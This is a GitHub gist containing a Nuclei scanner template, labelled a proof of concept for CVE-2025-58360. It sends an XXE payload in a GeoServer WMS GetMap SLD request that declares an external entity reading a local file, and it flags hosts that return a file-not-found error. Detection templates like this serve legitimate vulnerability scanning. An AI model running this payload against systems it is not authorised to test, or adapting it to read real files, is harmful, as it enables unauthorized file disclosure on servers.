Created
November 26, 2025 11:23
-
-
Save bolhasec/32fa035354d7cc9417aa297e2fe22b30 to your computer and use it in GitHub Desktop.
POC for CVE-2025-58360
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| id: geoserver-wms-sld-xxe | |
| info: | |
| name: GeoServer WMS SLD XXE Detection | |
| author: bolhasec | |
| severity: medium | |
| description: | | |
| Attempts to exploit an XXE vulnerability via a StyledLayerDescriptor (SLD) | |
| in a WMS GetMap POST request. A secure GeoServer instance should reject | |
| entity resolution and return an error like "Entity resolution disallowed for file". | |
| tags: xxe,geoserver,wms,sld,ows | |
| http: | |
| - method: POST | |
| path: | |
| - "{{BaseURL}}/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" | |
| - "{{BaseURL}}/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" | |
| headers: | |
| Content-Type: application/xml | |
| body: |- | |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE StyledLayerDescriptor [ | |
| <!ENTITY xxe SYSTEM "file:///some/file"> | |
| ]> | |
| <StyledLayerDescriptor version="1.0.0"> | |
| <NamedLayer> | |
| <Name>&xxe;</Name> | |
| </NamedLayer> | |
| </StyledLayerDescriptor> | |
| matchers-condition: and | |
| matchers: | |
| - type: status | |
| status: | |
| - 200 | |
| - type: word | |
| part: body | |
| words: | |
| - "java.io.FileNotFoundException" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment